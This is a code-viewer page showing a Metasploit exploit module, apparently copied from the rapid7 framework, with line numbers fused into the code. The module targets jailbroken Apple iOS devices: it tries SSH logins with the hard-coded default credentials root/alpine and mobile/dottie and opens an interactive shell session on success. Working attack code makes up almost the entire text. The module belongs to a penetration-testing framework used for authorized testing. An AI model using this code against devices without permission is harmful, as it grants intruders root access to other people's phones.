Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS Default SSH Password Vulnerability',18'Description' => %q{19This module exploits the default credentials of Apple iOS when it20has been jailbroken and the passwords for the 'root' and 'mobile'21users have not been changed.22},23'License' => MSF_LICENSE,24'Author' => [25'hdm'26],27'References' => [28['OSVDB', '61284']29],30'DefaultOptions' => {31'EXITFUNC' => 'thread'32},33'Payload' => {34'Compat' => {35'PayloadType' => 'cmd_interact',36'ConnectionType' => 'find'37}38},39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Targets' => [42['Apple iOS', { 'accounts' => [ [ 'root', 'alpine' ], [ 'mobile', 'dottie' ]] } ],43],44'Privileged' => true,45'DisclosureDate' => '2007-07-02',46'DefaultTarget' => 0,47'Notes' => {48'Stability' => [CRASH_SAFE],49'Reliability' => [REPEATABLE_SESSION],50'SideEffects' => []51}52)53)5455register_options(56[57Opt::RHOST(),58Opt::RPORT(22)59], self.class60)6162register_advanced_options(63[64OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),65OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])66]67)68end6970def post_auth?71true72end7374def rhost75datastore['RHOST']76end7778def rport79datastore['RPORT']80end8182def do_login(user, pass)83opts = ssh_client_defaults.merge({84auth_methods: ['password', 'keyboard-interactive'],85port: rport,86password: pass87})8889opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']9091begin92ssh = nil93::Timeout.timeout(datastore['SSH_TIMEOUT']) do94ssh = Net::SSH.start(rhost, user, opts)95end96rescue Rex::ConnectionError97return98rescue Net::SSH::Disconnect, ::EOFError99print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"100return101rescue ::Timeout::Error102print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"103return104rescue Net::SSH::AuthenticationFailed105print_error "#{rhost}:#{rport} SSH - Failed authentication"106rescue Net::SSH::Exception => e107print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"108return109end110111if ssh112conn = Net::SSH::CommandStream.new(ssh)113ssh = nil114return conn115end116117return nil118end119120def exploit121target['accounts'].each do |info|122user, pass = info123print_status("#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'")124conn = do_login(user, pass)125next unless conn126127print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")128handler(conn.lsock)129break130end131end132end133134135